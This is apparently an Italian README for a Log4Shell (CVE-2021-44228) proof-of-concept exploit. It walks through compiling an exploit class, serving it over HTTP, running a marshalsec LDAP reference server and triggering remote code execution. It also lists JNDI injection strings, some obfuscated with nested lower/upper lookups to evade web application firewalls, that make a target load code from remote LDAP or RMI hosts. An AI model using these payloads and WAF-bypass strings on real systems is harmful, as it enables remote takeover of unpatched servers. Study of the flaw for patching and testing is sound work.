maximofernandezriera/cve-2021-44228Proof-of-concept exploit per Log4Shell (CVE-2021-44228) che dimostra l'esecuzione remota di codice tramite iniezione JNDI, inclusa la compilazione del payload, la configurazione del server LDAP e tecniche di bypass del WAF.
Le versioni 1.x presentano altre vulnerabilità, ti consigliamo di aggiornare all'ultima versione.
Security Advisories / Bulletins collegati a Log4Shell (CVE-2021-44228)
scarica questo progetto, compila il codice dell'exploit blob/master/src/main/java/Exploit.java, e avvia un webserver che consenta il download del binario compilato.
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# avvia il webserver
# Per Python2
python -m SimpleHTTPServer 8888
# Per Python3
python3 -m http.server 8888
# assicurati che il webserver python sia in esecuzione nella stessa directory di Exploit.class, per testare
curl -I 127.0.0.1:8888/Exploit.class
scarica un altro progetto ed esegui implementazione del server LDAP che restituisce riferimenti JNDI https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Richiede Java 8
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
compila ed esegui il codice di attivazione (simula un attacco log4j su un server web Java vulnerabile) blob/master/src/main/java/log4j.java, e la tua applicazione calcolatrice apparirà.
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# aspettati quanto segue
# 1. l'applicazione calcolatrice appare
# 2. nella console del server ldap,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. nella console del webserver,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
Suggerimenti:
Non fare affidamento sulla versione corrente di Java per salvarti. Aggiorna Log4 (o rimuovi la lookup JNDI). Disabilita l'espansione (sembra comunque una pessima idea).
Per esempio:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
Non fidarti del web application firewall.
Le Lookup forniscono un modo per aggiungere valori alla configurazione di Log4j in posizioni arbitrarie.
I metodi che causano la perdita in finally
LogManager.getLogger().error()
LogManager.getLogger().fatal()
Se vuoi fare test black-box, ti suggerisco di eseguire una scansione passiva.
Buon divertimento!!!
